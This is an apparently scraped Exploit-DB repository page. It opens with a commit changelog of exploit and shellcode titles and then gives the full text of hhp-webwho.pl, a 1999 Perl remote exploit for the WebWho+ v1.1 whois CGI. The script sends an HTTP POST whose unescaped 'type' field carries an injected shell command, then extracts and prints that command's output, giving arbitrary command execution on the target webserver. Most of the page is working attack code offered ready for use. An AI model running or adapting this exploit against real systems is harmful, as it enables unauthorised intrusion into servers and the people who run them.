
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
100 lines
No EOL
2.7 KiB
Perl
Executable file
100 lines
No EOL
2.7 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/892/info
|
|
|
|
WebWho+ is a free cgi script written by Tony Greenwood for executing whois queries via the www. Though it does perform checks for shell escape characters on some parameters, it misses the 'type' variable and allows for malicious input to be sent to a shell. It is possible to execute arbitrary commands on a webserver running WebWho+ v1.1 with the uid of the webserver (usually nobody).
|
|
|
|
#!/usr/bin/perl
|
|
#
|
|
# hhp-webwho.pl
|
|
# WebWho+ v1.1 (whois cgi) remote exploit.
|
|
#
|
|
# By: loophole of hhp.
|
|
# [12/26/99]
|
|
#
|
|
# http://hhp.perlx.com/
|
|
# loophole@hhp.perlx.com
|
|
#
|
|
# Advisrory: http://hhp.perlx.com/ouradvisories/hhp-webwho.txt
|
|
|
|
use IO::Socket;
|
|
|
|
if (@ARGV < 2)
|
|
{
|
|
print "* hhp-webwho.pl\n";
|
|
print "* webwho.pl (whois cgi) remote exploit.\n";
|
|
print "* By: loophole of hhp.\n";
|
|
print "* loophole\@hhp.perlx.com\n";
|
|
print "* http://hhp.perlx.com/\n\n";
|
|
print "USAGE: $0 <Server> [-e <File Extention>] <Command>\n\n";
|
|
print "* Server = www.example.com\n";
|
|
print "* File Extension = /cgi-bin/webwho.pl\n";
|
|
print "* Command = Shell command\n\n";
|
|
print "* NOTE: Defualt <File Extension> is /cgi-bin/webwho.pl\n";
|
|
print "* It only needs changing if it is not the defualt.\n\n";
|
|
print "* EXAMPLE: $0 www.gat.org id\n";
|
|
print "* OR: $0 www.gat.org -e /jack/webwho.pl id\n";
|
|
exit 0;
|
|
}
|
|
|
|
if ($ARGV[1] eq "-e")
|
|
{
|
|
if (@ARGV != 4)
|
|
{
|
|
print "Invalid Usage!\n";
|
|
exit 0;
|
|
}
|
|
$server = $ARGV[0];
|
|
$saywhatnig = $ARGV[2];
|
|
$command = $ARGV[3];
|
|
}
|
|
else
|
|
{
|
|
if (@ARGV == 2)
|
|
{
|
|
$server = $ARGV[0];
|
|
$command = $ARGV[1];
|
|
$saywhatnig = "/cgi-bin/webwho.pl";
|
|
}
|
|
}
|
|
|
|
$sock = IO::Socket::INET->new(PeerAddr => $server,
|
|
PeerPort => 80,
|
|
Proto => "tcp") or die "Wack connection.\n";
|
|
|
|
$calkuhlashun = 45 + length($command);
|
|
|
|
print $sock "POST $saywhatnig HTTP/1.1\n";
|
|
print $sock "Accept-Language: en-us\n";
|
|
print $sock "Host: $server\n";
|
|
print $sock "Content-Length: $calkuhlashun\n";
|
|
print $sock "Connection: Keep-Alive\n\n";
|
|
print $sock 'command=X&type=";echo fukk;';
|
|
print $sock "$command";
|
|
print $sock ";echo fokk&Check=X\n";
|
|
$doot = 0;
|
|
|
|
while(<$sock>)
|
|
{
|
|
s/\n//g;
|
|
s/fukk<br>/--------Exploit Stats------------/;
|
|
s/fokk<br>/-hhpfoelife-\n/;
|
|
s/<br>//g;
|
|
$foo = $_;
|
|
|
|
if ($foo =~ /---Ex/)
|
|
{
|
|
$doot = 1;
|
|
}
|
|
|
|
if ($foo =~ /-hhpfoelife-/)
|
|
{
|
|
$doot = 0;
|
|
print "---------------------------------\n";
|
|
exit 0;
|
|
}
|
|
|
|
if ($doot == 1)
|
|
{
|
|
print "$foo\n";
|
|
}
|
|
}
|
|
exit 0; |